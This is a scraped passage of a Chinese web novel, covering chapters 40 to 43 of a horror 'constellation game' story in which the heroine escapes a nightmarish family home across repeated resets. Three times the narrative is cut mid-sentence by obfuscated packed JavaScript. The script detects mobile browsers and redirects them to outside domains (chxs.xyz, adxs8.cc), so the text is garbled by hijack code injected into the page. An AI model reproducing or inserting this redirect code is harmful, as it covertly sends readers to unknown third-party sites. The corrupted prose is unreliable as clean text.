“你们交易的对象……还有人吧?一些适合去拿道具或者加了特殊天赋点的人。”云真真把手弯成喇叭形状对准他的耳朵,以最小的声音说。 “我……我可没说。”扫把头连连环顾四周,结结巴巴地否认。 “OK,我乱猜的,别往心里去!”云真真挥手告别,笑容灿烂。 答案很明显。冷观一定是其中的受害人口之一。 回到城中村,云真真却并没回家。 她径直向B区进发,在一栋背阴的老旧三层小楼房面前驻足。 思考一番,还是爬上脆弱的薄铁皮楼梯,来到202号房间前。 墙体隔音很差,震耳欲聋的音乐从里面飘了出来,似乎还有男男女女的嬉笑喊叫声。 云真真胃部突然一阵痉挛,用尽全力敲响了门。 过了两三分钟,一个爆炸长发的年轻女孩开了门,摇摇晃晃地喷出酒气:“你谁啊?” 云真真冷眼打量她,目光定格在她漂亮的双手上。 左手中指下端,极不显眼的智能义肢LOGO明晃晃地刺眼。 “小兰!”屋内传来一阵鬼哭狼嚎的喊叫,“谁啊?酒马上要喝完了啊!下酒菜也没了……” “晓得了!”女孩回头向屋子里喊,“你们点噻,老子得了那么多钱,随便点,老子请得起!” 随后一双醉意朦胧的眼睛看着云真真:“你有神经病说?也不说你找哪个?” “不好意思,敲错门了。”云真真轻轻鞠躬。 “砰!”门重重关上,一句脏话留下。 云真真提起手中的小帆布袋,对着它摇头苦笑。 里面静静躺着两大捆钱。 离开的时候,201的门“嘎吱”一声开了个小缝。 一双苍老而惊恐的眼睛露了出来:“你……认得刘婆婆?” 云真真点点头。 “哎呀!”201的老年妇人如同见了熟人一般倒着苦水,“刘婆婆死……走了以后,我是一天都没睡着过!刘小兰那个死女儿,拿着她妈的抚恤金安了胳膊,又叫些狐朋狗友来一直吵,我这神经衰弱又严重了……” “她妈在的时候也没清静过,刘小兰总折磨她妈,自己没胳膊嘛不感谢她妈把屎把尿就算咯,反而对她妈又打又骂,隔三差五要些年轻人流行的名牌,可怜我这刘姐姐命苦哦……” 薄如纸皮的楼梯一踩上去就“咯噔、咯噔”震天响,不清楚红袖标阿姨早出晚归,踩过多少次。 看上去尚坚韧,但踩踏之力过于猛烈,它必然会断裂吧。云真真仰起头,直视着太阳。 40. 逃离原生家庭(1) 【叮!星河浩瀚,游戏好玩!欢迎来到星座游戏。】 【消极游戏化作流星 游戏失败变为恒星 通关游戏遨游宇宙】 【本关游戏说明:】 【悲惨的女儿,请在4天内从原生家庭中逃离。黑暗之心,颤抖哭泣吧!】 睁开双眼之时,云真真呈仰面躺姿,游戏信息投射在掉皮、低矮又黑黢黢的天花板上。 空气潮湿夹杂着霉味,房间昏暗密不透光。 这熟悉的感觉,怎么像回到自己家了?! 之前,从彼岸花展开的形状和白深两次发来的信息,她推算出新副本位于城中村。 但这一次,她选择当“孤狼”,独闯副本。 遨游宇宙……是什么意思?云真真盯着游戏信息琢磨了一番。 重复出现的套话如同电视剧的片头曲,播一集放一遍,绝大多数人会选择跳过。 然而有的时候,从片头曲的歌词中,就能窥见整个故事起承转合的全貌。 遨游宇宙……从宇宙的视角俯瞰当下,定能解开星座游戏背后的秘密。 更进一步,“遨游”是不是也意味着“操控”? 想到此,云真真一个鲤鱼打挺,从硬邦邦的小床上弹起来。 嘶……床板硬似钢,床褥薄如纸,肩胛骨到腰椎,阵阵生疼。 云真真龇牙咧嘴揉着腰,打量起“原生家庭”。 这间三四平米的狭窄房间,应该是“女儿”要逃离的卧室。 一个昏黄的灯泡孤零零吊在房间中央,凄惨微弱的光投在满墙泛黄翘边、沾满污渍的报纸上。 老式挂壁钟表咔嚓、咔嚓有节奏地响着,那是秒针走动的声音。 现实中原生家庭就惨,没想到游戏里还得继续遭罪。 咦?这个圆形表……似乎有哪里不对劲! 云真真贴近墙壁,才勉强看清:这个表,居然没有时针! 分针指向6,秒针神经质地一走一颤。 像人掉了头仍在走路,感觉十分不适。 代表什么?只知道现在是X点半。 一个漆掉到看不出原色的小床头柜挤在床边,面上放着几盘磁带。 磁带……在当代算是遗物了。云真真随手拿起来查看:一盘萨克斯大师的《回家》,一盘乡村音乐《TakeMeHome,CountryRoads》,还有一盘是周杰伦的《依然范特西》。 好家伙,百分之百是巨蟹座副本,三盘里两盘都跟家有关。 放下磁带,她又拿起床头柜上的立式相框端详。 寒意瞬间传递到每一个汗毛孔。 一家三口,乍看再普通不过:齐耳发的妈妈在右边,平头的爸爸在左边,中间是梳着两条麻花辫子的女儿。 再定睛一看,三张居然长着一模一样的脸:眼珠一片死黑,没有一点深浅变化,多看几秒不禁毛骨悚然。 眼睛虽然睁着,眉毛平、嘴角也平,没有表情、没有温度,感受不到一丝活人气息。 照片的色彩也很怪异,像老式照相馆冲洗出的黑白照片,后期才染上有限的颜色。 越看越像白事中使用的纸人…… 咚!云真真一把丢下相框,用吐槽驱赶不适:游戏的建模师傅太不走心了,同一组五官居然复制粘贴了3次! 但有个问题,她终究没驱散:自己的脸庞……是不是也变成照片上那种活死人的样子了? 她迫切想找个镜子照照。 秒针还没“咔哒”完一圈,云真真已经大致翻了一圈:没有找到镜子,甚至连反光的东西都没发现。 目光最终定格在门上。 那是一道老式木门,齐头部高的位置镶嵌着一块磨砂玻璃。 一步一步靠近木门,正准备“照镜子”,磨砂玻璃另一边突然闪过一团模糊的肉色东西。 云真真后退两步,心脏砰砰撞击着胸腔。 “从原生家庭逃离”……她再次思考通关目标。无论如何,第一步,肯定是走出这间卧室。 这扇门之外,等待自己的会是什么?云真真紧紧盯着磨砂玻璃,漫反射到视网膜的肉色不明物就在那里。 她把手摸在门把手上,思考几秒,用力拉开门。 眼前突然一片漆黑。 再次睁开双眼之时,云真真呈仰面躺姿。 咔嚓、咔嚓、咔嚓……表针走动的声音催命一般响着。 时针依然指向6。副本重置了! 云真真坐起来,头很晕,太阳穴一跳一跳地痛。 她揉着太阳穴,拼命回想打开门之后究竟看见了什么。 脑子里却涌入一团雾,把开门之后的记忆遮挡得严严实实。 总之不是什么好事。暂时别靠近门为妙。 房间中央的水泥地板上摆着一个脏兮兮的小矮桌,像大学生常用的床上书桌。 桌子上放着一个盘子,里面装着炒咸菜、土豆丝和米饭,黑乎乎、冷冰冰的。 肚子不合时宜地咕咕叫起来,但面对这些东西,仍然没有一丁点想吃的欲望。 这家的“女儿”平时就在房间里吃饭、做作业吗?肉的影子都看不到吗? 云真真索性坐在冰凉的地板上,设身处地体会起“女儿”的心境。 那团肉色不明物体依然在玻璃上若隐若现。 突然,一个想法蹦了出来:这块玻璃,会不会是单向的? 外面的“人”,一直在监视着自己的一举一动。 熟悉的不适感油然而生,一段回忆浮现在眼前:小时候,爸爸粗鲁地翻看了云真真用铅笔写下的稚嫩日记,还拿出去和邻居们一同大笑。 酒鬼爸爸嘲笑最厉害的那句话是:“有一天,我会离开村子,过上大城市的生活。” 在他们的认知中,这和小鸡崽子立志变成鸭子一样,纯属痴心妄想。 妈的,激起原生家庭的负面情绪了!云真真一秒回神,为刚才吐槽副本的“制作粗糙”道歉。 别忘了这是巨蟹座副本。用情感与情绪攻心,是最了不得的手段。 如何顺利打开房门呢?云真真在脑袋里画起思维导图。 直接砸坏玻璃,隔着门喊妈,背着脸开门但走不出去似乎都可以! 云真真操起小桌子,对准门上玻璃狠狠砸了过去。 叮铃咣当……玻璃碎掉的瞬间,云真真眼前一黑。 第三次睁开双眼之时,云真真依然呈仰面躺姿。 分针不偏不倚,正指向6。副本又被重置了。 头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864223|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部的疼痛显然更加剧烈,蔓延至整个后脑勺,思考起来有些费力。 想了好一会儿,云真真才勉强回忆起刚才明明坐在地上的小桌边,之后便陷入一团迷雾。 她猛然反应过来:每多“死”一次,回忆起来的东西就越来越少! 这就意味着,不断循环试错的办法行不通。而且必须要避免被重置的次数! 上一次,我想出了哪些办法呢?她再次列出“直接砸坏玻璃,隔着门喊妈,背着脸开门”三种做法。 在每种上面都打上大大的叉。 磁带似乎还没有用上……云真真抓过磁带,一一打开盒子,和普通的磁带没什么不同。 也许应该听听里面的音乐,先找录音机! 她马上拉开床头柜唯一一个小抽屉,余光不小心扫到全家福。 三人的表情,似乎发生了变化? 云真真心里一惊,慢慢把目光移到相框上。 还好,应该只是错觉。虽然原片已经很吓人了…… 床头柜里果然躺着一个随身听,塑料外壳,破破烂烂,质感很差。 和妈妈送给自己学英语的那一台属于同档货色。 先听哪一盘好?云真真翻着三张磁带的封面。 周杰伦的《依然范特西》,当年红遍半边天,她曾向同学借来听过几天。 抽出磁带时,她的手突然顿住了。 印象中,专辑封面上周杰伦的脸,一半埋在阴影里,一半处在亮光下,表情很酷。 可眼前的这一盘……周董的嘴角居然勾起一个诡异的弧度! 会不会是记错了?云真真有些怀疑自己,毕竟时间有些久远。 她决定先放听另外两盘。 悠扬的萨克斯,柔和的美国乡村音乐在耳边响起,云真真昏昏欲睡。 爸爸的高举的拳头、猩红的双眼,妈妈流血的额角,昏暗的光线,满地碗盘碎片和食物残渣……原生家庭中的一幕一幕如走马灯般再现。 好困,好想睡。眼皮支撑不住了。睡吧…… 眼睛闭合之前,她的意志力拼命呐喊起来:不,不行!快醒醒! 啪!云真真扔掉耳机,拔出磁带,大口喘着气。 这种慢刀子割肉般地精神虐待,还不如直接两只怪物肉搏来得痛快。 她再次拿起《依然范特西》,手不禁一抖:妈的!嘴角勾起的弧线,很明显变得更大了! 耳机里传来熟悉的音乐:《听妈妈的话》。 “小朋友你是否有很多问号?”…… 的确有很多。这盘专辑,第一首歌明明是《夜的第七章》啊? “我说我要一台大大的飞机,但却得到一台旧旧录音机……” 等等!放到“旧旧录音机”的时候,似乎降成了半音?编曲也非常奇怪。 云真真按下暂停键,倒放了几秒,“旧旧录音机”依然和原曲格格不入。 她拿起铅笔,把这五个字写在作业本上。 磁带很快播放完毕,曲子不全,只有第一段。 重复听了三遍,她刷刷写下“不让你看见”“温暖的食谱在她心里面”“握握她的手” “把手牵着”“别让她受伤”“保护她”六个词句。 音乐在这些地方变了调。 41. 逃离原生家庭(2) 磁带一共有三盘,唯独《依然范特西》的封面出现诡异的变化。 在变异的这盘磁带中,歌曲中某些部分再次发生曲调变异。 也许……这些不正常的地方,不仅用于吓人,而是暗示着某种线索! 云真真环视整间屋子,最终将目光定格在木门上。 那团不明物的影子依然在磨砂玻璃后方晃动,如同想藏但藏不住的恶意。 然而那是整间卧室通往其他地方的唯一途径。 云真真再次靠近木门,把手扣在门巴上,金属触感冰凉,寒气沿着掌心扩散到全身。 “吱——呀——”门一寸一寸地慢慢打开。 云真真躲在门后,挤在墙壁和门越来越小的缝隙里,敏锐地观察动静。 “不让你看见”,是线索词。上两次游戏重置,大概率是因为看见了。 哗啦、哗啦……隔着薄薄的空心门板,另一端响起长指甲抓挠的声音,刺耳难忍,如同直接划在心脏上。 门已经开至45度,活像张开的怪兽大嘴。云真真屏住呼吸,紧盯着黑洞洞的出口。 突然,一个长条状物体蠕动着伸了出来。 云真真贴近墙壁,定神一看:那是一只手臂,五个指头在空气中乱挠乱抓。 “握握她的手”“把手牵着”,线索提示这样做。 她贴住门,慢慢伸出手臂,张开五指,打算去握那只手。 指尖即将碰触时,手臂猛然僵住,触电一般缩了回来。 门后的那只手……汗毛足足有四五厘米长,手心似乎还有肉垫! 那不是一只人类的手,像黑猩猩一类的动物。 心有余悸之间,又一只手臂从猩猩手臂上方伸了出来。 这次是一条细嫩白皙的手臂,手腕套着一只玉镯,指甲又长尖,涂着血红欲滴的指甲油。 这只手……显然不属于家境贫寒的女主人,更像《西游记》里蜘蛛精的手! 云真真表情复杂地盯着上下翻动、充满傲娇的兰花指,想到一个恶趣味:让这只小白手手和猩猩的黑毛手牵在一起,会发生什么事? 接着,第三只手臂颤颤巍巍伸了出来。 衣袖打着补丁,手部皮肤粗糙龟裂,是一双饱经风霜、犹豫胆怯的常年劳动的手。 云真真想起小时候的厕所怪谈:蹲茅坑时没带纸,坑里突然伸出一只手,举着一张红纸、一张蓝纸,问你要哪一张。 无论选哪一张,结局都会死。 眼前三条手臂鬼魅一样挥舞着,似乎都想抓住什么东西。 死了大不了重置。云真真横下心,径直握住那双最像“妈妈”的、劳动人民的手。 冰冷的触感瞬间传入掌心,干皮刺痛了敏感的神经。 几秒之后,另外两条手臂缩回,“滋啦、滋啦”的挠门声终于停止。 “女儿,出来吧。”幽幽的女声从另一面传过来。 咯吱——门完全打开,“妈妈”暴露在眼前。 和照片相同,她双眼漆黑、没有焦点,面无表情,感受不到一丝活人气息。 云真真跟她一同踏出卧室。 逃出原生家庭第一步之逃出卧室,达成。 微小的喜悦很快被眼前的环境浇灭。 卧室外,一条漆黑狭长的过道通向客厅,左侧一间屋子飘出油腻腻的气味,想必是厨房。 “妈妈”像木偶一样,动作僵硬地贴近云真真的耳朵,小声说:“别出声,跟我去厨房做饭。” 别出声是什么意思?房子里还有其他“人”,或者这是一种规则怪谈?想不清楚,边走边看,总之要听“妈妈”的话。 厨房的门轻轻合上。云真真环视四周,微不可闻地叹了口气:第二步,还得逃离厨房。 妈妈背对云真真,将一把闪着寒光的大号菜刀举过头顶,“咚”一声重重剁在案板上,随后机械地重复起来。 像夯实土地用的工业机器。 案板上堆着一滩看不出原貌的红色肉泥,散发出阵阵血腥气味。 菜刀每“咚”一声下落一次,肉泥便“啪”四散飞溅起来。 趁此机会,云真真敏锐地找起厨房的异常之处。 屋顶和墙壁熏成黑黄色,水池、案板肮脏不堪,地面油腻到黏鞋底。 一个小小的通风扇慢慢转着,阴影投射在厨房内,忽明忽暗。 地面上一条细细的红色管子十分引人注目。 这种排布……是电线吗?但应该有两根才对。为什么就这样露在外面? 云真真蹲下身,对“异常物”伸出手指。 柔软而又有弹性。摸上去比电线的胶皮软一些,似乎还带着温度。 正分析推理,突然察觉四周一片寂静,“咚、咚”的切菜声不知何时停止了。 云真真保持蹲姿,慢慢转过身,扬起脸。 啪!一滴浓稠的液体砸在额头正中央。 妈妈高举菜刀,俯视下来,脸上沾着飞溅的血肉。 晃动的光影映着失焦的脸庞,菜刀上残留的血正向下滴落。 “你在干什么?”妈妈发问,声音中带着颤抖与愤怒。 云真真起身,看看她,又看看高举的菜刀,摊开手心:“食材掉了,我帮你捡一捡。” 她自然地来到菜板前,将手中一团血糊糊的肉渣东西扔进去,一脸无辜地问:“妈妈,今天要做啥好吃的呀?” “杂碎丸子。”妈妈重新剁起肉来,力道十分凶猛,一直透进地底。 哗啦……啪嚓……门外传来尖锐而清脆的声音,似乎是瓷器一个接一个摔得粉碎。 “所有的餐具,都打碎了……怎么办?”妈妈举着菜刀的手僵在空中,肩膀微微颤抖起来。 “别让她受伤”“保护她”。这两个词条闪现在云真真脑海里。 “我去看看。”云真真推开厨房门,想了想又转身回去拿过妈妈那把菜刀。 经过黑漆漆的走廊,一个寒酸的小客厅映入眼帘。 脏兮兮的水泥地上散落着盘子和碗的碎片,“菜”洒了满地。 那些“菜”,血红腥臭,看上去和菜板上的东西没什么分别。 “女儿,你来评评理!”爸爸一把拉过云真真,醉醺醺地指着地上的东西,“这是人吃的东西吗?” 可你也不是人啊……云真真盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894729|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爸爸”那张毫无生机的脸,冷冷回答,“哦”。 想吃你可以自己做。又挑刺又犯浑,剧情和人设和现实中的不少人一模一样。 “爸爸”将小圆桌上最后一只酒杯扫到地上,破口大骂起来。 握住刀柄的手微微颤抖,呼吸急促,脑袋嗡嗡作响。 倒不是因为害怕眼前纸人一般的“爸爸”。 记忆之海深处的恐惧浮出表层:面临同样的情形,幼时的自己,瘦弱无力、不知所措,只能呆呆傻站在原地,任凭锋利的碎片划伤脚背、流出鲜血。 无法保护自己,更无法保护妈妈。 爸爸眼里的猩红,穿越十几年时光,在云真真的双眸之中熊熊燃烧。 眼睛开始失焦,周遭的一切被压制不住的怒火烧得模模糊糊。 “保护她、保护她……”云真真喃喃念着,对准“爸爸”扬起菜刀。 砰…… 第四次睁开双眼,云真真呈仰面躺姿。分针重新指回6。 整个头部剧烈疼痛,随时将要爆炸。 她挣扎着坐起身,大口喘着气。记忆停留在“爸爸”发酒疯摔东西那一刻。 胸口依然被愤怒的感觉填满,无处释放。 不难推断,在那之后自己究竟做了些什么。 如同月圆之夜大潮不由分说地劈向沙滩,进入巨蟹座副本起,情绪也悄无声息地放大若干倍。 我是忍者。我是理性而冷静的人。云真真闭上眼睛深呼吸,默念巨蟹座对宫——摩羯座的特质,思维渐渐清晰起来。 所以……用暴力手段解决“爸爸”,实现“保护她”“不让她受伤”的目标,是行不通的。 难道还要给这些妖魔鬼怪当一次家庭调解员?云真真连连摇头。 肚子“咕咕”叫起来,她想起倒计时,快速查看:一天的时间已经过去了! 她看看几眼小矮桌上的菜,咽了咽口水,还是选择打开门,握住那只粗糙的手。 这一次,当客厅再次响起碗碟打碎的声音,云真真十分淡定:“碎碎平安,我房间里还有一套餐具,马上给你拿出来。” “饭吃完了吗?”妈妈突然冷静下来,嘴角浮现一丝若隐若现的笑意,比面无表情更加渗人,“快点吃完再端出来,听妈妈的话。” 显然,这不是什么好事。 回到房间,云真真打量着桌上的粗茶淡饭,琢磨起还未使用的提示词:“温暖的食谱在她心里面”。 吃还是不吃,这是一个问题。和“生存还是死亡”密切相关。 “食谱”中,也许记录了哪些可以吃,哪些不能吃。 但总不能把“妈妈”当成比干,挖出心脏取食谱吧!? 也可以利用游戏的无限重置次数来试错。 已知一共有三种食物,单独吃一种3次,吃其中两种3次,全部吃光1次。 如果运气不好,将会经历7次重置。 何况,上一次吃了哪几种,在重置后很可能会忘记。 秒针“咔嚓、咔嚓”跳跃着,时间不断流逝。 木门的磨砂玻璃上,再次映出模糊的影子,和让人浑身忍受的抓挠声。 42. 逃离原生家庭(3) “温暖的食谱在她心里面……” 云真真复读机一般哼着这句变调的歌,试图从中参破些什么。 “咚!”抓挠门的刺耳声音突然变为捶门,整面墙开始簌簌落灰。磨砂玻璃也晃动起来,桄榔桄榔响。 门摇摇欲坠、马上被锤破时,云真真眼睛一亮,终于主动打开门。 阵阵腥风扑面,三只手臂争先恐后地伸了进来。 正准备像前几次那样,握住最上面的手,云真真猛然僵住,吸了口冷气。 这是与之前完全不同的三只手臂。 一只手臂只剩白森森的骨头,骨节之间粘着碎肉;一只腐烂了半边,淌着黄绿脓水,散发阵阵恶臭;另一只看上去勉强正常,却沾满猩红的血污。 云真真隔空练习了一番,忍着不适精准抓住那只沾满血迹的手。滑腻的触感让她想起实验课上撕开的蟾蜍皮。 妈妈出现在门口。围裙浸透暗红色,嘴角向上弯起,像谁把死人的嘴硬生生扯出了弧度。 “餐具呢?再不拿来爸爸就要发火了。”妈妈的语言想表达害怕,声音却透出某种兴奋。 “一分钟送到厨房。”云真真故作殷勤地替她擦拭围裙,拍掉飞溅的肉糜和血污,指尖趁机探入围裙右侧的口袋,“哎呀,围裙都弄脏了,你先去换一条?” 门轻轻关上,云真真才松开紧握的手,露出一丝笑意。 一张沾满血渍的小纸条静静躺在手心里。 刚才,复读“温暖食谱”的时候,云真真的意识在大脑的记忆宫殿中快速游逛。 最终,她在信息洪流中捕捉到一个意识层面忽视的细节:妈妈围裙右侧缝制的口袋,正是一个心形。 云真真打开纸条,正面、反面看了几遍,又拿到灯泡地下照了又照,仍然只有这一句话。 【饮食注意事项:女儿不爱吃咸菜。】 蜷坐在小矮桌前,膝盖直直顶住胃部。 瓷白的餐盘里,咸菜泛着油亮的光,咸涩的味道直往鼻子里钻。 纸条上写着“不爱吃咸菜”,妈妈却依然准备了咸菜。 答案显而易见:把咸菜剩下,就能既不暴露“女儿”的身份,又符合妈妈的“食谱”。 云真真拿出筷子,飞快将除咸菜之外的饭菜倒进嘴里。 酸腐的土豆丝混着冷硬的米饭在胃里翻涌,云真真强压下呕吐的冲动。 粘着油垢的餐盘里,孤零零的咸菜泛着诡异的青紫色。 “女儿,餐盘呢?”磨砂玻璃上映出妈妈模糊的脸。 蠕动的肉团紧紧贴住玻璃、压扁了形,眼睛却格外清晰——一双充满恶意、四处窥探的眼睛。 云真真后颈泛起细密的鸡皮疙瘩,心中升起一种熟悉的不适感。 她迅速端起餐盘,打开门。 眼前闪过一道寒光,耳畔传来一声巨响,世界再次静止。 第五次睁开双眼,云真真盯着房顶摇摇欲坠的墙皮发呆,只听见秒针咔嚓、咔嚓催命一般跳动。 脑海中的迷雾如癌细胞一般疯狂扩散,侵蚀原有记忆,记忆变得支离破碎。 前几次重置,记忆虽然缺失了一段,至少还有先后顺序、呈线性。 这次醒来之后,记忆像是瓷器,彻底被打碎,只剩下一个一个小碎片,搅成一团来回乱转: 吃冷硬的剩饭。爸爸红着双眼发疯。妈妈高举菜刀剁着一团肉泥。在作业本记下了片段…… 捕捉到这个场景,云真真挣扎着起身,找到作业本,哗啦哗啦翻动起来。 每一页都印着冷冷的绿色横线,和大片待书写的空白。 扔下作业本,余光瞥见全家福照片,云真真瞬间醒了神。 似乎哪里不对劲,又说不具体的东西。 记忆碎片中,共出现3次全家福照片。这就意味着,在之前的循环中,自己至少留意过3次。 云真真将脑海中的相片一张挨一张拼好,与眼前这张进行对比。 每一张单独看上去,似乎没什么问题。 然而,当照片被迫摆在一起对照,问题阴差阳错地暴露出来:三人眼中的黑色瞳仁部分,都在缓慢地扩张变大,眼白部分的面积越来越小!平平的嘴角,也扬起一个微乎其微的弧度。 已知不对劲的地方大概率暗藏着线索。这张照片究竟暗示着什么? 来不及细想,重重锤门声冲击着听觉神经。 云真真拿起相框,放下。又拿起,又放下。重复了几次。 一个猜测被印证:拿起相框,挠门声就会变成震耳欲聋的捶门声。外面的东西正窥探一切,随时都会破门而入。 现在还不是研究相框的时候。 云真真轻车就熟地拉开门,再次来到厨房,听到碗盘摔碎的声音,回房间取餐盘。 偷到手的小纸条上,内容并没有发生变化: 【饮食注意事项:女儿不爱吃咸菜。】 不爱吃咸菜,就不吃咸菜。脑海中残存着吃掉咸菜的记忆,这是一条死路。 一个家庭恐怖故事突然出现在脑海里:你爱吃苹果,你妈却买了一车梨给你,并向所有人宣称她有多么爱你。 过去的记忆闸门轰然大开,隐秘的黑暗如坚冰般刺穿肺腑。 下着雪的清晨,小云真真牙齿打着颤,央求妈妈给她换回厚棉袄。妈妈目光如坚冰,说穿得漂亮人家才能看得起。 初中考试,学校要求买一本指定的数学参考书。妈妈买回来的,却是另外一本,理由是她觉得这本更好。 因为没有参考书,云真真在教室最后一排罚站。背靠着冰冷的墙壁,她反复思考着一个问题。 妈妈到底爱不爱我?妈妈到底爱不爱我?妈妈…… 彼时彼刻,脊背渗进的凉意传到当下,云真真颤抖着端起餐盘,把咸菜倒入口中。 爱的东西永远得不到,不爱的东西强制爱。这样你会快乐吧?! 咸菜的味道咸涩苦楚,哽在喉头,和眼泪相同。 吃光咸菜的餐盘递了出去,妈妈眼中毫无笑意,嘴巴却大大咧开:“好女儿,真懂事!我把杂碎丸子盛好,你快去拿给爸爸,听妈妈的话!” 厨房里腥臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14932550|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气息似乎更加浓郁,刚一走进去,那股浓稠的铁锈腐臭像有了实体,沿着鼻腔往颅顶生钻。 案板上铺满血肉模糊的杂碎,层层堆积,粘稠腥腻,血肉组成的瀑布一直溢到案板以外。 几块记忆碎片闪过,迅速对比之后,云真真确认,“杂碎”似乎比之前多了不少。 这些杂碎……是从哪里来的,为什么不随着游戏重置? 妈妈将刀横插入杂碎之中,连血带油一同舀起,盖在云真真吃过的餐盘里:“快拿去给爸爸,让爸爸吃下去,听妈妈的话!如果慢了一点,我们娘俩又没有好日子过了!” 如果没猜错,当前的任务是【让爸爸吃下这盘不知名物体】。 云真真屏住气,一路小跑到客厅,“呯”一声把餐盘丢在桌子上。 正在破口大骂的爸爸愣住一下,按照之前的剧情发展,将桌上最后一只酒杯扫向云真真。 依靠记忆碎片,云真真轻轻一闪,躲了过去。 她转守为攻,一记重拳锤在桌子上,餐盘随之摇晃起来:“有饭就好好吃,大呼小叫干什么?” “这是人吃的饭吗?你妈就是想让我死,你们母女俩都恨不得让我早点死!”爸爸咆哮着,用筷子在杂碎肉泥中粗暴翻搅着,最后夹出一个硬物,怼到云真真面前。 云真真拿过硬物观察:半月形,青白色。 像是……指甲。 难道这里还有其他玩家?又或者…… 来不及细想,爸爸又开始新一轮的发狂。 他似乎有被害妄想症,不断重复着“迫害我”“监控我”之类的话,顺手又将桌上那盘血肉模糊的东西扫向地下。 云真真眼疾手快,在餐盘落地之前一把抱住,盘中的杂碎粘在衣服上,留下一片鲜红。 稀烂的肉泥之中,有一截细长条状物体的材质似乎与众不同。 接触到它的瞬间,云真真仿佛触了电。 柔软而细腻的进口绒布,包裹着坚硬又有韧性细铁丝。 是绒布彼岸花。妈妈留给自己的唯一一件东西。 云真真的情绪如海啸般汹涌来袭,脑海中泛起一片猩红,暴走杀人的冲动驱动着四肢。 最后一丝理智在大潮的冲刷下摇摇欲坠,她不断想象巨蟹座的对宫——摩羯座特质。 情绪的大潮褪尽,贫瘠的土地露出之时,云真真已是满头大汗,像经历了一场世纪大战。 终于重新夺回身体控制权时,她颤抖着将手伸进裤子口袋:绒布彼岸花安静地躺在那里。 “你说得没错。”云真真盯着爸爸,“这些东西,的确不能吃。” 爸爸突然掩面而泣,哽咽起来:“女儿,妈妈总是让你听她的话,你也一直照做。时至今日,你……终于……清醒了。” 云真真刚想开口细问,猛然注意到餐桌上移动的阴影越来越浓。 那显然是一把是菜刀的形状。 云真真迅速转过身,妈妈狰狞的脸映入瞳孔,高高举起的菜刀重重落下。 咚!!! 世界再次陷入一片死寂。 43. 逃离原生家庭(4) 第五次睁开眼,满目赤红,腥臭扑鼻。 这一次,云真真站在厨房中,右手端着凉冰冰的瓷盘。 好消息:重置地点终于向前推进了。 坏消息:这次云真真头痛到打颤发抖,恨不得亲手将头拧下来,丢进那堆杂碎之中。 剧烈疼痛凝聚成一片汪洋,她拼命挣扎着探出头,紧紧抓住朦胧的意识:休想用汹涌泛滥的情绪将我淹没! 云真真捏紧口袋中的绒布彼岸花:在钱赚够之前,那件最重要的事完成之前,死亡坚决不能被原谅! 眼神重新聚焦回妈妈的菜刀上。 她用菜刀作容器,将杂碎盖在云真真手中的餐盘里:“快拿去给爸爸,让爸爸吃下去,听妈妈的话!如果慢了一点,我们娘俩又没有好日子过了!” 对话的内容和记忆碎片一模一样。 妈妈的眼神似乎发生了变化。如同手中那把菜刀,一下一下剜向云真真的脸庞和脖颈。 脖颈像趴着一只小刺猬,又痒又扎。云真真一边吐槽目光实体化效应,一边伸出手去挠脖颈。 什……什么?指尖碰触到上百根“刺”——那是飞速生长出来的头发! 不知不觉中,齐耳短发长长了四五厘米。 简直比霸王生发水还有用。 这个副本,不该我来。该让给那些秃顶、有脱发困扰的人。云真真边思考边吐槽。 “等等!”妈妈喊住云真真,转身面向案板,在一堆杂碎中飞快刨起来,血肉不时飞溅到墙壁、地板上。 云真真不知道她葫芦里卖的什么药,只能听话地站在腥风血雨中,做好随时厮杀的准备。 妈妈终于停止“狗刨”,转过身来。她笑容阴森,一手举着一个细长条状的血红色东西。 “头发长长了呀,真漂亮!听妈妈的话,马上就能编三股麻花辫了!”妈妈沾满污渍的手伸过来,用那两条筋一样的东西做头绳,给云真真扎起两条小辫子。 红色“发绳”散发出阵阵腥臭,软腻的触感时不时扫向耳后,如果可以,云真真选择直接关闭五官。 与此相比,一个更骇人的猜测冲击着大脑:编麻花辫……意味着自己正在和全家福里的女儿渐渐重合。 不是什么好兆头。 离开厨房,来到通往客厅的长廊,云真真放慢脚步。 右手五个手指直接插入杂碎之中,快速翻搅起来。 这些“杂碎”究竟是什么? 强忍着恶心,云真真再次挑出了半截指甲,碎绒布彼岸花,碎渣状的骨头…… 心中已有猜测,但有待证实。 手上沾满血污,也没找到关键性证据——头发。 若真如自己所想,身体碎掉无法辨认,头发却不易改变性状。 可惜的是,妈妈在毛发处理方面大概有洁癖,云真真一无所获,唯有把爸爸当作突破口。 客厅里,云真真再次轻巧躲过爸爸砸过来的酒杯。 